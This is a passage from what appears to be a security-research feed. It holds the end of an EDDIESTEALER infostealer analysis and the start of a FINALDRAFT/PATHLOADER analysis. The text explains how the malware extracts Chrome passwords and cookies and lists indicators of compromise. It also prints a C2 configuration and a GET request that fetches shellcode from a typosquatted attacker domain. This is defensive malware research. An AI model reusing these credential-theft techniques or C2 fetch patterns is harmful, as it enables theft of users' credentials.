<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image20.png" alt="C2 traffic log" title="C2 traffic log" /></p>
<p>Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as:</p>
<ul>
<li><code>apps\bin\src\services\chromium_hound.rs</code></li>
<li><code>apps\bin\src\services\system.rs</code></li>
<li><code>apps\bin\src\structs\search_pattern.rs</code></li>
<li><code>apps\bin\src\structs\search_entry.rs</code></li>
</ul>
<p>We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image25.png" alt="Example error message" title="Example error message" /></p>
<h3>Chromium-specific Capabilities</h3>
<p>Since the <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">introduction</a> of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a> is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust.</p>
<p>Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from <code>%localappdata%\&lt;browser_specific_path&gt;\\User Data\\Last Version</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image33.png" alt="Browser version check" title="Browser version check" /></p>
<p>COOKIEKATZ <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/COOKIEKATZ/Main.cpp#L210">signature pattern</a> for detecting COOKIEMONSTER instances:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image24.png" alt="COOKIEKATZ signature pattern" title="COOKIEKATZ signature pattern" /></p>
<p>CredentialKatz <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/CredentialKatz/Main.cpp#L188">signature pattern</a> for detecting CookieMonster instances:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image4.png" alt="CHROMEKATZ signature pattern" title="CHROMEKATZ signature pattern" /></p>
<p>Here is an example of the exact copy-pasted logic of COOKIEKATZ’s <code>FindPattern</code>, where <code>PatchBaseAddress</code> is inlined.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image28.png" alt="COOKIEKATZ FindPattern logic" title="COOKIEKATZ FindPattern logic" /></p>
<p>The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments <code>--window-position=-3000,-3000 https://google.com</code>. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (<code>ReadProcessMemory</code>) of the necessary child process - the network service process identified by the <code>--utility-sub-type=network.mojom.NetworkService</code> flag. For a more detailed explanation of this browser process interaction, refer to <a href="https://www.elastic.co/de/security-labs/katz-and-mouse-game">our previous research on MaaS infostealers</a>.</p>
<h3>Differences with variants</h3>
<p>After analysis, more recent samples were identified with additional capabilities.</p>
<p>Information gathered on victim machines now include:</p>
<ul>
<li>Running processes</li>
<li>GPU information</li>
<li>Number of CPU cores</li>
<li>CPU name</li>
<li>CPU vendor</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image14.png" alt="Example system data collected" title="Example system data collected" /></p>
<p>The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image19.png" alt="Possible sandbox/anti-analysis technique on C2 server-side" title="Possible sandbox/anti-analysis technique on C2 server-side" /></p>
<p>The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image29.png" alt="Example Hardcoded AES keys" title="Example Hardcoded AES keys" /></p>
<p>Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image1.png" alt="Old vs new: control flow graph for the HTTP request function" title="Old vs new: control flow graph for the HTTP request function" /></p>
<p>In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the <code>--remote-debugging-port=&lt;port_num&gt;</code> flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image22.png" alt="Setting up Chrome process with remote debugging" title="Setting up Chrome process with remote debugging" /></p>
<p>After launching Chrome, the malware queries <code>http://localhost:&lt;port&gt;/json/version</code> to retrieve the <code>webSocketDebuggerUrl</code>, which provides the endpoint for interacting with the browser instance over WebSocket.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image38.png" alt="Sending request to retrieve webSocketDebuggerUrl" title="Sending request to retrieve webSocketDebuggerUrl" /></p>
<p>Using this connection, it issues a <code>Target.createTarget</code> command with the parameter <code>chrome://password-manager/passwords</code>, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image15.png" alt="Decrypted strings referenced when accessing Chrome’s password manager" title="Decrypted strings referenced when accessing Chrome’s password manager" /></p>
<p>Based on decrypted strings <code>os_crypt</code>, <code>encrypted_key</code>, <code>CryptUnprotectData</code>, <code>local_state_pattern</code>, and <code>login_data_pattern</code>, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.</p>
<p>We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.</p>
<h2>A Few Analysis Tips</h2>
<h3>Tracing</h3>
<p>To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like &lt;code&gt;<a href="https://github.com/hasherezade/tiny_tracer">TinyTracer</a>&lt;/code&gt; can capture an API trace and generate a <code>.tag</code> file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls <code>WinAPI</code> functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like &lt;code&gt;<a href="https://github.com/leandrofroes/bn_ifl">IFL</a>&lt;/code&gt;.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image5.png" alt="Example comment markup after importing .tag file" title="Example comment markup after importing .tag file" /></p>
<h3>Panic Metadata for Code Segmentation</h3>
<p><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">Panic metadata</a> - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like <code>apps\bin\src\services\chromium.rs</code>, <code>apps\bin\src\structs\additional_task.rs</code> or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with <code>library&lt;core/alloc/std&gt;\src\</code> indicates code from the Rust standard library. Paths containing crate name and version such as <code>hashbrown-0.15.2\src\raw\mod.rs</code> point to external libraries.</p>
<p>If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string <code>apps\bin\src\utils\json.rs:48:39</code> is referenced in <code>sub_140011b4c</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image10.png" alt="Panic string containing “json.rs” referenced in function sub_140011b4c" title="Panic string containing “json.rs” referenced in function sub_140011b4c" /></p>
<p>By examining the call tree for incoming calls to the function, many of them trace back to <code>sub_14002699d</code>. This function (<code>sub_14002699d</code>) is called within a known C2 communication routine (<code>jy::C2::RetrieveAndDecryptConfig</code>), right after decrypting additional configuration data known to be JSON formatted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image30.png" alt="Call tree of function sub_140011b4c" title="Call tree of function sub_140011b4c" /></p>
<p>Based on the <code>json.rs</code> path and its calling context, an educated guess would be that <code>sub_14002699d</code> is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image37.png" alt="Function sub_14002699d successfully parsing configuration fields" title="Function sub_14002699d successfully parsing configuration fields" /></p>
<p>For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.</p>
<h3>Stack Slot Reuse</h3>
<p>One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points.</p>
<p>To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image32.png" alt="Stack slot reuse, resorting to UNION approach" title="Stack slot reuse, resorting to UNION approach" /></p>
<h3>Rust Error Handling and Enums</h3>
<p>Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag).</p>
<p>Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the <code>Result&lt;T, E&gt;</code> generic enum. It has two variants: <code>Ok(T)</code>, indicating success and containing a value of type <code>T</code>, and <code>Err(E)</code>, indicating failure and containing an error value of type <code>E</code>.</p>
<p>In the example snippet below, a discriminant value of <code>0x8000000000000000</code> is used to differentiate outcomes of resolving the <code>CreateFileW</code> API. If <code>CreateFileW</code> is successfully resolved, the <code>reuse</code> variable type contains the API function pointer, and the <code>else</code> branch executes. Otherwise, the <code>if</code> branch executes, assigning an error information string from <code>reuse</code> to <code>arg1</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image13.png" alt="Error handling example" title="Error handling example" /></p>
<p>For more information on how other common Rust types might look in memory, check out this <a href="https://cheats.rs/#memory-layout">cheatsheet</a> and this amazing <a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">talk</a> by Cindy Xiao!</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1659/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/">Virtualization/Sandbox Evasion</a></li>
</ul>
<h2>Detections</h2>
<h3>YARA</h3>
<p>Elastic Security has created the following YARA rules related to this research:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_EddieStealer.yar">Windows.Infostealer.EddieStealer</a></li>
</ul>
<h3>Behavioral prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/command_and_control_ingress_tool_transfer_via_powershell.toml">Ingress Tool Transfer via PowerShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/defense_evasion_potential_self_deletion_of_a_running_executable.toml">Potential Self Deletion of a Running Executable</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0</code></td>
<td>SHA-256</td>
<td><code>MvUlUwagHeZd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a</code></td>
<td>SHA-256</td>
<td><code>AegZs85U6COc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9</code></td>
<td>SHA-256</td>
<td><code>PETt3Wz4DXEL.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2</code></td>
<td>SHA-256</td>
<td><code>Tk7n1al5m9Qc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa</code></td>
<td>SHA-256</td>
<td><code>YykbZ173Ysnd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7</code></td>
<td>SHA-256</td>
<td><code>2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2</code></td>
<td>SHA-256</td>
<td><code>2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b</code></td>
<td>SHA-256</td>
<td><code>TWO[1].file</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d</code></td>
<td>SHA-256</td>
<td></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42</code></td>
<td>SHA-256</td>
<td><code>verifcheck.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b</code></td>
<td>SHA-256</td>
<td><code>3zeG4jGjFkOy.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7</code></td>
<td>SHA-256</td>
<td><code>verification.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4</code></td>
<td>SHA-256</td>
<td><code>g_verify.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4</code></td>
<td>SHA-256</td>
<td><code>verif.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>45.144.53[.]145</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>84.200.154[.]47</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>shiglimugli[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>xxxivi[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2 and intermediate infrastructure</td>
</tr>
<tr>
<td><code>llll[.]fit</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>plasetplastik[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>militrex[.]wiki</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/N0fix/rustbinsign">https://github.com/N0fix/rustbinsign</a></li>
<li><a href="https://github.com/Meckazin/ChromeKatz">https://github.com/Meckazin/ChromeKatz</a></li>
<li><a href="https://github.com/hasherezade/tiny_tracer">https://github.com/hasherezade/tiny_tracer</a></li>
<li><a href="https://docs.binary.ninja/dev/uidf.html">https://docs.binary.ninja/dev/uidf.html</a></li>
<li><a href="https://www.unicorn-engine.org/">https://www.unicorn-engine.org/</a></li>
<li><a href="https://github.com/LloydLabs/delete-self-poc/tree/main">https://github.com/LloydLabs/delete-self-poc/tree/main</a></li>
<li><a href="https://cheats.rs/#memory-layout">https://cheats.rs/#memory-layout</a></li>
<li><a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s</a></li>
<li><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/eddiestealer.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
            <link>https://www.elastic.co/de/security-labs/finaldraft</link>
            <guid>finaldraft</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/de/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h1>Technical Analysis</h1>
<h2>PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3>Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3>API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p>
<h3>String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p>
<h3>Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2>FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3>Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p>
<h3>Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID.</p>
<h4>Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code class="language-c">for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code class="language-c">uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code class="language-c">struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4>Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p>
<h3>Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/de/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.</li>
<li>Read and delete command request email drafts created by the C2.</li>
<li>Process commands</li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
